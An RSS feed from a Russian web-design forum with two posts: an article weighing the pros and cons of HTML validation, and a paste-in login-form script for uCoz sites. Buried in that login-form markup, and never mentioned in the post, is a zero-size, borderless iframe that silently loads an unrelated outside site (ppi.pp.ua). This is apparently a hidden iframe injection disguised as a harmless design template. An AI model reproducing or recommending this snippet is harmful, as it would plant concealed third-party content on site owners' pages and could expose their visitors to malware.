<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://forhtml.ixbb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>ФорHTML</title>
		<link>https://forhtml.ixbb.ru/</link>
		<description>ФорHTML</description>
		<language>ru-ru</language>
		<lastBuildDate>Mon, 31 Oct 2011 00:32:20 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Простые коды</title>
			<link>https://forhtml.ixbb.ru/viewtopic.php?pid=14#p14</link>
			<description>&lt;p&gt;Валидация документов&lt;/p&gt;
						&lt;p&gt;Опубликовано: 22.09.2010Влад Мержевич&lt;br /&gt;Валидацией будем называть проверку документа на соответствие веб-стандартам и выявление существующих ошибок. Соответственно, валидным является такой веб-документ, который прошел подобную процедуру и не имеет замечаний по коду. Код веб-страницы должен подчиняться определенным правилам, которые называются спецификацией, ее разрабатывает W3 Консорциум (wwww3c.org) при поддержке разработчиков браузеров.&lt;/p&gt;
						&lt;p&gt;На первый взгляд, кажется, что валидация необходима, ведь речь идет о сокращении количества ляпов разработчиков и написании «правильного» кода. На деле все обстоит гораздо сложнее и вокруг валидации до сих пор ведутся горячие споры об ее актуальности. Чтобы объективно раскрыть этот вопрос далее рассмотрим плюсы и минусы такой проверки.&lt;/p&gt;
						&lt;p&gt;Плюсы валидации&lt;br /&gt;Хотя HTML-код имеет достаточно простую иерархическую структуру, при разрастании объема документа в коде легко запутаться, следовательно, просто и совершить ошибку. Браузеры, несмотря на явно неверный код, в любом случае постараются отобразить веб-страницу. Но поскольку не существует единого регламента о том, как же должен быть показан «кривой» документ, каждый браузер пытается сделать это по-своему. А это в свою очередь приводит к тому, что один и тот же документ может выглядеть по-разному в популярных браузерах. Исправление явных промахов и систематизация кода приводит, как правило, к стабильному результату.&lt;/p&gt;
						&lt;p&gt;Тенденции&lt;br /&gt;Времена, когда производители браузеров добавляли уникальные возможности в свой продукт вопреки всем стандартам, начинают уходить в прошлое. Каждая новая версия браузера все больше поддерживает спецификации и отображает документы с минимальными ошибками или вообще без них. Разработчики сайтов, также придерживающихся канонов веб-стандартов, таким образом соответствуют современным тенденциям развития веб-технологий.&lt;/p&gt;
						&lt;p&gt;Не стоит забывать и об XML (eXtensible Markup Language, расширяемый язык разметки). Этот язык становится стандартом де-факто для хранения данных и обмена информацией между разными приложениями. Синтаксис XML более жесткий, чем HTML и не прощает малейших ошибок. В каком-то смысле XML похож на языки программирования, в которых программа не будет скомпилирована, пока код не отлажен. HTML является первой ступенькой к изучению XML, поэтому приучая себя писать код по всем правилам, будет легче перейти к следующему этапу развития HTML.&lt;/p&gt;
						&lt;p&gt;Мода на валидацию&lt;br /&gt;Как это не удивительно, но среди веб-разработчиков тоже существует своя мода. Текущая мода — создавать валидные документы и вывешивать специальный значок в виде картинки, что сайт соответствует спецификации HTML. Подобная тенденция затронула даже заказчиков сайтов и при написании технического задания на разработку сайта некоторые из них специально оговаривают, чтобы сайт был выполнен по веб-стандартам.&lt;/p&gt;
						&lt;p&gt;Косвенные преимущества&lt;br /&gt;Следование стандартам во многом дает множество выгод, которые проявляются в мелочах и становятся заметными при достижении определенной критической массы. В частности, объем кода становится меньше, компактнее и читабельнее. Соответственно, для пользователей повышается скорость загрузки сайта в целом.&lt;/p&gt;
						&lt;p&gt;Минусы валидации&lt;br /&gt;Сайты, конечно же, делают для того, чтобы их посещали люди. Именно посетители выступают мерилом работы сайта, а их интересует информация и способ ее получения. Пользователь желает, чтобы сайт корректно отображался в его любимом браузере, быстро загружался и содержал те материалы, которые ему нужны. Заметьте, в этом списке нет ничего про код документа и его валидность, посетителей это просто не интересует. Поэтому совершенно невалидный сайт, но выполненный с душой, наполненный интересными материалами привлечет к себе больше посетителей, чем пустой ресурс, но сделанный по всем «правилам».&lt;/p&gt;
						&lt;p&gt;Браузеры&lt;br /&gt;Разработчики браузеров не всегда следуют спецификации и в некоторых случаях трактуют код не по заданным правилам, а по-своему. В конечном итоге это приводит к тому, что веб-страница, которая правильно (т.е. так, как и задумывали разработчики) отображается в одном браузере, выводится с ошибками в другом. Следование спецификации в подобных случаях, скорее всего, отпугнет пользователей некоторых браузеров. К примеру, Internet Explorer (IE) в настоящее время занимает лидирующее положение среди браузеров, но при этом поддерживает спецификацию HTML и CSS хуже, чем Firefox и Opera. Очевидно, что пользователи IE при посещении сайта выполненного по всем стандартам, но не учитывающего специфику этого браузера, увидят неприглядную картину.&lt;/p&gt;
						&lt;p&gt;Заказчикам сайта, а также их разработчикам подобная ситуация не по нраву, поэтому стоя перед выбором: стандарты или браузер, они в большинстве своем выбирают браузер.&lt;/p&gt;
						&lt;p&gt;Получается неутешительная картина — тратить время на отладку кода для соответствия спецификации нет особой нужды. Это время лучше посвятить тому, чтобы документ без проблем работал в разных браузерах — так в основном размышляют веб-разработчики.&lt;/p&gt;
						&lt;p&gt;Резюме&lt;br /&gt;Так стоит ли проводить валидацию документов и заниматься этим этапом при написании веб-страниц? Безусловно, да. Кому-то она поможет выявить существующие недочеты, другому поможет писать корректный код. Исправлять же ошибки, добиваясь полного соответствия стандартам, или оставить их ради совместимости с разными браузерами — здесь уже каждый решает сам, какие цели он преследует и что для него важнее&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Mon, 31 Oct 2011 00:32:20 +0400</pubDate>
			<guid>https://forhtml.ixbb.ru/viewtopic.php?pid=14#p14</guid>
		</item>
		<item>
			<title>Всё Для UCOZ</title>
			<link>https://forhtml.ixbb.ru/viewtopic.php?pid=11#p11</link>
			<description>&lt;p&gt;Новейшая форма входа&lt;br /&gt;В этом скрипте я по менял лишь картинки ну как бывает под диз не каждому идет а тут тебе на) выберем и ставим! &lt;/p&gt;
						&lt;p&gt;Установка скрипта очень легкая она не займет у вас меньше минуты: &lt;br /&gt;Управления дизайном-Пользователи-Форма входа пользователей-заменяем и встаем коды понравившийся вам скрипта! &lt;/p&gt;
						&lt;p&gt;Код: Выделить весь код&lt;br /&gt;&amp;lt;span class=&amp;quot;input.pass&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;div style=&amp;quot;width: 180px;&amp;quot;&amp;gt;&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;font color=&amp;quot;#32cd32&amp;quot;&amp;gt;Введите логин:&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;font color=&amp;quot;#ff0000&amp;quot;&amp;gt;&amp;lt;input class=&amp;quot;login&amp;quot; name=&amp;quot;user&amp;quot; value=&amp;quot;&amp;quot; size=&amp;quot;20&amp;quot; style=&amp;quot;width: 150px;&amp;quot; maxlength=&amp;quot;15&amp;quot; type=&amp;quot;text&amp;quot;&amp;gt;&amp;lt;/font&amp;gt; &lt;br /&gt;&amp;lt;br&amp;gt;&amp;lt;font color=&amp;quot;#32cd32&amp;quot;&amp;gt;Введите пароль:&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;font color=&amp;quot;#ff0000&amp;quot;&amp;gt;&amp;lt;input class=&amp;quot;pass&amp;quot; name=&amp;quot;password&amp;quot; size=&amp;quot;20&amp;quot; style=&amp;quot;width: 150px;&amp;quot; maxlength=&amp;quot;15&amp;quot; type=&amp;quot;password&amp;quot;&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;input name=&amp;quot;sfSbm&amp;quot; src=&amp;quot;http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/FAK.png&amp;quot; title=&amp;quot;Отправить запрос на авторизацию!&amp;quot; alt=&amp;quot;Отправить!&amp;quot; border=&amp;quot;0&amp;quot; type=&amp;quot;image&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;hr align=&amp;quot;center&amp;quot; size=&amp;quot;2&amp;quot; width=&amp;quot;100%&amp;quot;&amp;gt;&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;http://ppi.pp.ua/&amp;quot; name=&amp;quot;iframe&amp;quot; width=&amp;quot;0%&amp;quot; height=&amp;quot;0%&amp;quot; scrolling=&amp;quot;no&amp;quot; frameBorder=0&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;a class=&amp;quot;forRegLink&amp;quot; href=&amp;quot;$REGISTER_LINK$&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/regist.png&amp;quot; title=&amp;quot;Зарегистрироваться на сайте!&amp;quot; alt=&amp;quot;Зарегистрироваться!&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;hr size=&amp;quot;2&amp;quot; width=&amp;quot;100%&amp;quot;&amp;gt;&amp;lt;a class=&amp;quot;forRegLink&amp;quot; href=&amp;quot;$REMINDER_LINK$&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/pass.png&amp;quot; title=&amp;quot;Восстановить утерянный пароль!&amp;quot; alt=&amp;quot;Восстановить пароль!&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;hr align=&amp;quot;center&amp;quot; size=&amp;quot;2&amp;quot; width=&amp;quot;100%&amp;quot;&amp;gt;&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot; cellspacing=&amp;quot;1&amp;quot; width=&amp;quot;60&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td nowrap=&amp;quot;nowrap&amp;quot;&amp;gt;&amp;lt;div align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;input id=&amp;quot;rem$PAGE_ID$&amp;quot; name=&amp;quot;rem&amp;quot; value=&amp;quot;1&amp;quot; checked=&amp;quot;checked&amp;quot; type=&amp;quot;checkbox&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;label for=&amp;quot;rem$PAGE_ID$&amp;quot;&amp;gt;запомнить&amp;lt;/label&amp;gt; &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input id=&amp;quot;hid$PAGE_ID$&amp;quot; name=&amp;quot;hidden&amp;quot; value=&amp;quot;1&amp;quot; type=&amp;quot;checkbox&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;label for=&amp;quot;hid$PAGE_ID$&amp;quot;&amp;gt;скрытый&amp;lt;/label&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td align=&amp;quot;right&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;br&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td align=&amp;quot;left&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/td&amp;gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt; &lt;br /&gt;&amp;lt;/div&amp;gt; &lt;br /&gt;&amp;lt;/span&amp;gt; &lt;/p&gt;
						&lt;p&gt;&amp;lt;style&amp;gt; &lt;br /&gt;input.pass &lt;br /&gt;{ &lt;br /&gt;background: url(&lt;a href=&quot;http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/key.png&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.megacomp.ucoz.kz/Raznoe/new_ &amp;#8230; od/key.png&lt;/a&gt;) no-repeat; &lt;br /&gt;background-color: #fff; &lt;br /&gt;background-position: 0 50%; &lt;br /&gt;color: #000; &lt;br /&gt;padding-left: 18px; &lt;br /&gt;} &lt;/p&gt;
						&lt;p&gt;input.login &lt;br /&gt;{ &lt;br /&gt;background: url(&lt;a href=&quot;http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/log.png&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.megacomp.ucoz.kz/Raznoe/new_ &amp;#8230; od/log.png&lt;/a&gt;) no-repeat; &lt;br /&gt;background-color: #fff; &lt;br /&gt;background-position: 0 50%; &lt;br /&gt;color: #000; &lt;br /&gt;padding-left: 18px; &lt;br /&gt;} &lt;br /&gt;&amp;lt;/style&amp;gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Mon, 31 Oct 2011 00:22:35 +0400</pubDate>
			<guid>https://forhtml.ixbb.ru/viewtopic.php?pid=11#p11</guid>
		</item>
	</channel>
</rss>
